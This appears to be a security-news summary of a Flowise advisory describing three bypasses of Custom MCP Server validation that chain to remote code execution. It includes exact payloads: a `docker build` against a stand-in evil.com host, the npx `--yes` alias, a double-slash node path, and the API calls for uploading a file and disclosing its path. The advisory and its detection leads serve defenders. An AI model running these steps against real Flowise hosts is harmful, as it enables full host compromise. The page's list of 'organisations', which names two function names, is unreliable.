Flowise MCP Security Bypass Enables RCE
GHSA advisory detailing three bypasses in Flowise's Custom MCP Server security controls (validateCommandFlags and validateArgsForLocalFileAccess in packages/components/nodes/tools/MCP/core.ts) that combine to achieve remote code execution: an unblocked `docker build` subcommand that pulls and runs a remote Dockerfile, a missing `--yes` long-flag alias on the npx blocklist (only `-y` was blocked) enabling arbitrary npm package execution, and a Unix absolute-path regex that fails to catch double-leading-slash paths (`//root/...`), allowing `node` to execute an uploaded local file. Any authenticated Flowise user (or an API key with chatflow view/update rights) can chain these to fully compromise the host via a prediction API call.
What it is
GHSA-m99r-2hxc-cp3q, three bypasses in Flowise's Custom MCP Server input validation (packages/components/nodes/tools/MCP/core.ts) that each reach RCE on the host. The summary names all three; what it can't carry is the operational detail — the exact payloads, the blocklist contents, and the multi-step path-disclosure trick that makes the node bypass usable.
How it works — the parts the summary omits
The docker blocklist blocks run, exec, -v, --volume, --privileged, --cap-add, --security-opt, --network, --pid, --ipc — but not build/pull/push/cp/commit. docker build https://evil.com/ pulls a remote Dockerfile and runs its RUN instructions.
The npx blocklist is ['-c', '--call', '--shell-auto-fallback', '-y'] — --yes is the missing alias.
The node bypass is the involved one. The dangerous-path regex /^\/[^/]/ requires a non-slash after the leading /, so //root/... slips through. To exploit it the attacker must (a) get a file onto disk and (b) learn its absolute path:
- Upload
cmd.jsby saving a chatflow with a file attachment; it lands in~/.flowise/storage/{orgId}/{chatflow_id}/.orgIdis obtained at login;chatflow_idis returned on save. - Recover the absolute path via the export-import endpoints (headers include
x-request-from: internal):
POST /api/v1/export-import/import
POST /api/v1/export-import/chatflow-messages {"chatflowId":"{chatflow_id}"}- Set the MCP node to
{"command":"node","args":["//root/.flowise/storage/{orgId}/{chatflow_id}/cmd.js"]}.
All three fire when a prediction is called:
POST /api/v1/prediction/{chatflow_id}
{"question": "1"}Preconditions
Any authenticated Flowise account (any role) or an API key with chatflow view+update rights. Docker bypass needs docker on the host; npx bypass needs npx. The docker escape to full host control assumes a privileged/mountable container.
What to do
The page states no patched version or fix — it documents mechanism and reproduction only. Treat any Flowise allowing untrusted authenticated users to configure Custom MCP nodes as exposed until a fix lands. Detection leads from the page: prediction flows invoking docker build/pull/cp, npx --yes, or node against a //-prefixed path under ~/.flowise/storage/.
Caveats
The blocklist-based validation is the flaw itself — denylisting subcommands and flag spellings — so patched blocklists may still miss aliases. No CVE-numbered fix or version boundary is given in the advisory text.
Organisations named here
- validateArgsForLocalFileAccess
- validateCommandFlags
Technologies named here
- Flowise
- Docker
- npx
- node
- Node.js
- npm
- Model Context Protocol
Techniques named here
- Docker blocklist bypass via 'build' subcommand
- npx flag alias bypass
- Local file access restriction bypass via double-slash path
- File upload + path disclosure chain
Related in AI Security

Introducing CAIRN: Frontier tracking for AI-integrated malware (Cisco Talos)
YesWeHack Claude Kit
JFrog: The Governance Gap Between Your Policy and Your Pipeline
